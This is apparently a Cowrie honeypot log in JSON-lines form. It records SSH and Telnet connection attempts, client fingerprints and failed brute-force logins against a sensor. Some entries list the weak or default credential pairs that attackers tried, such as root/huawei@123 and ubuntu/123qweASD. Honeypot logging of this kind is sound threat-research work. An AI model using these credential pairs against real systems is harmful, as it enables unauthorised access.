{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":60899,"dst_ip":"159.203.135.109","dst_port":22,"session":"e78fadcf808b","protocol":"ssh","message":"New connection: 152.42.212.128:60899 (159.203.135.109:22) [session: e78fadcf808b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:15.291418Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:15.296635Z","src_ip":"152.42.212.128","session":"e78fadcf808b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:15.311361Z","src_ip":"152.42.212.128","session":"e78fadcf808b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:15.755022Z","src_ip":"185.236.22.41","session":"e817938e12c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.135.181.135","src_port":60800,"dst_ip":"159.203.135.109","dst_port":23,"session":"37b4d68b6ed1","protocol":"telnet","message":"New connection: 185.135.181.135:60800 (159.203.135.109:23) [session: 37b4d68b6ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:15.905355Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55506,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dc0ab34b466","protocol":"ssh","message":"New connection: 45.156.87.204:55506 (159.203.135.109:22) [session: 2dc0ab34b466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:16.303646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:16.309796Z","src_ip":"45.156.87.204","session":"2dc0ab34b466","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:16.392518Z","src_ip":"45.156.87.204","session":"2dc0ab34b466","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:16.647645Z","src_ip":"45.156.87.204","session":"2dc0ab34b466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:17.732592Z","src_ip":"45.156.87.204","session":"2dc0ab34b466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33540,"dst_ip":"10.17.0.5","dst_port":23,"session":"15fa78ce50e9","protocol":"telnet","message":"New connection: 152.42.224.71:33540 (10.17.0.5:23) [session: 15fa78ce50e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:19.196779Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55520,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebe721227c5b","protocol":"ssh","message":"New connection: 45.156.87.204:55520 (159.203.135.109:22) [session: ebe721227c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:19.719302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:19.723609Z","src_ip":"45.156.87.204","session":"ebe721227c5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:19.920251Z","src_ip":"45.156.87.204","session":"ebe721227c5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:20.410930Z","src_ip":"45.156.87.204","session":"ebe721227c5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:21.495209Z","src_ip":"45.156.87.204","session":"ebe721227c5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.07320785522461,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:21.522087Z","src_ip":"152.42.224.71","session":"0eb00cd74635","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":53966,"dst_ip":"159.203.135.109","dst_port":22,"session":"585e4f1a7c48","protocol":"ssh","message":"New connection: 119.28.114.76:53966 (159.203.135.109:22) [session: 585e4f1a7c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:21.655569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:21.660403Z","src_ip":"119.28.114.76","session":"585e4f1a7c48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:21.897646Z","src_ip":"119.28.114.76","session":"585e4f1a7c48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33546,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f144cdb332f","protocol":"telnet","message":"New connection: 152.42.224.71:33546 (10.17.0.5:23) [session: 7f144cdb332f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:22.619290Z"}
{"eventid":"cowrie.login.failed","username":"st","password":"st","message":"login attempt [st/st] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:22.879865Z","src_ip":"119.28.114.76","session":"585e4f1a7c48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":60376,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3aba9552ab5","protocol":"ssh","message":"New connection: 47.237.167.49:60376 (159.203.135.109:22) [session: e3aba9552ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:23.276483Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39634,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d6bf11b3260","protocol":"ssh","message":"New connection: 45.156.87.204:39634 (159.203.135.109:22) [session: 1d6bf11b3260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:23.531475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:23.536216Z","src_ip":"45.156.87.204","session":"1d6bf11b3260","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:23.618555Z","src_ip":"45.156.87.204","session":"1d6bf11b3260","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:23.865997Z","src_ip":"45.156.87.204","session":"1d6bf11b3260","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:24.119467Z","src_ip":"119.28.114.76","session":"585e4f1a7c48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:24.956562Z","src_ip":"45.156.87.204","session":"1d6bf11b3260","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.09450721740723,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:25.349196Z","src_ip":"152.42.224.71","session":"36008540bf92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.151.211","src_port":36372,"dst_ip":"159.203.135.109","dst_port":22,"session":"0721df3300be","protocol":"ssh","message":"New connection: 170.106.151.211:36372 (159.203.135.109:22) [session: 0721df3300be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:25.365633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:25.370054Z","src_ip":"170.106.151.211","session":"0721df3300be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:25.438870Z","src_ip":"170.106.151.211","session":"0721df3300be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qweASD","message":"login attempt [ubuntu/123qweASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:25.747007Z","src_ip":"170.106.151.211","session":"0721df3300be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.702717542648315,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:26.368287Z","src_ip":"152.42.224.71","session":"ee0d1b3aa209","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:26.819746Z","src_ip":"170.106.151.211","session":"0721df3300be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39648,"dst_ip":"159.203.135.109","dst_port":22,"session":"69db63dd62f9","protocol":"ssh","message":"New connection: 45.156.87.204:39648 (159.203.135.109:22) [session: 69db63dd62f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:27.027595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:27.036214Z","src_ip":"45.156.87.204","session":"69db63dd62f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:27.120888Z","src_ip":"45.156.87.204","session":"69db63dd62f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:27.375646Z","src_ip":"45.156.87.204","session":"69db63dd62f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57482,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cb629521932","protocol":"telnet","message":"New connection: 152.42.224.71:57482 (10.17.0.5:23) [session: 2cb629521932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:28.076014Z"}
{"eventid":"cowrie.session.closed","duration":12.399267435073853,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:28.304508Z","src_ip":"185.135.181.135","session":"37b4d68b6ed1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:28.461711Z","src_ip":"45.156.87.204","session":"69db63dd62f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":40224,"dst_ip":"10.17.0.5","dst_port":22,"session":"19a3609e2b31","protocol":"ssh","message":"New connection: 103.149.28.157:40224 (10.17.0.5:22) [session: 19a3609e2b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:29.717852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:29.722718Z","src_ip":"103.149.28.157","session":"19a3609e2b31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:29.970613Z","src_ip":"103.149.28.157","session":"19a3609e2b31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57496,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d8b1f372310","protocol":"telnet","message":"New connection: 152.42.224.71:57496 (10.17.0.5:23) [session: 2d8b1f372310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:30.132173Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39662,"dst_ip":"159.203.135.109","dst_port":22,"session":"991878f9833f","protocol":"ssh","message":"New connection: 45.156.87.204:39662 (159.203.135.109:22) [session: 991878f9833f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:30.435946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:30.465552Z","src_ip":"45.156.87.204","session":"991878f9833f","protocol":"ssh"}
